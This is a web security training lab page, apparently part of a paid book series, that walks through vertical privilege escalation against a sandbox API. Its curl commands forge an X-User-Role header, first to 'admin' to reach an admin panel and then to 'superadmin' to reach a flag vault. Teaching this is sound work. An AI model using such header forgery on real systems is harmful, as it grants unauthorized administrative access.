Vertical Privilege Escalation · Lab 05
Lab 05 Module 1 Medium

Vertical Privilege Escalation

A small portal has three roles: user, staff, admin. You are a user. The app trusts a cookie to tell it which role you are — and it never checks that the cookie is real.

The rule: you are a normal user in this sandbox. The server should be the source of truth for your role. In this lab, it isn't — it reads your role from a request header you can change.

Test

Copy these. Run them. Read what comes back.

Step 1 · Log in as yourself

Log in as the demo user. The response will contain a random token. Copy it — you will need it for the next steps.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/05/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"demo123"}'

What you'll see:

Response
{
  "ok": true,
  "token": "<YOUR_RANDOM_TOKEN>",
  "role": "user"
}

You are user. That's the correct role.

Step 2 · Try the admin endpoint

The admin endpoints take a role header. Send your token with the correct role — and get denied.

Terminal
curl -s "{LAB_API_BASE}/api/05/admin" \
  -H "Authorization: Bearer <PASTE_TOKEN_HERE>" \
  -H "X-User-Role: user"

What you'll see:

Response
{
  "ok": false,
  "error": "admin role required"
}

Denied. But notice: the server didn't look up your role. It read the X-User-Role header. That's a header you control.

Step 3 · Send a different role

Same token. Same user. Change the header.

Terminal
curl -s "{LAB_API_BASE}/api/05/admin" \
  -H "Authorization: Bearer <PASTE_TOKEN_HERE>" \
  -H "X-User-Role: admin"

What you'll see:

Response
{
  "ok": true,
  "panel": "admin",
  "users": 142,
  "note": "Admin panel — first-login flag in /api/05/admin/vault"
}

You reached the admin panel as a normal user. The server never looked up your role in the database. It read the header you sent and trusted it. That is vertical privilege escalation: rising from a lower role to a higher one by abusing a flawed check.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The admin panel mentioned /api/05/admin/vault. The endpoint exists. It expects the same header the panel did. The vault holds the flag, but it also checks one more thing: the header must be superadmin, not admin.

Send the same request you sent to the panel, but change the header to superadmin and change the path to /api/05/admin/vault. The flag is in the response. Remember to use the token you got from Step 1.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 05 — Vertical Privilege Escalation

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 05 of 30 Next lab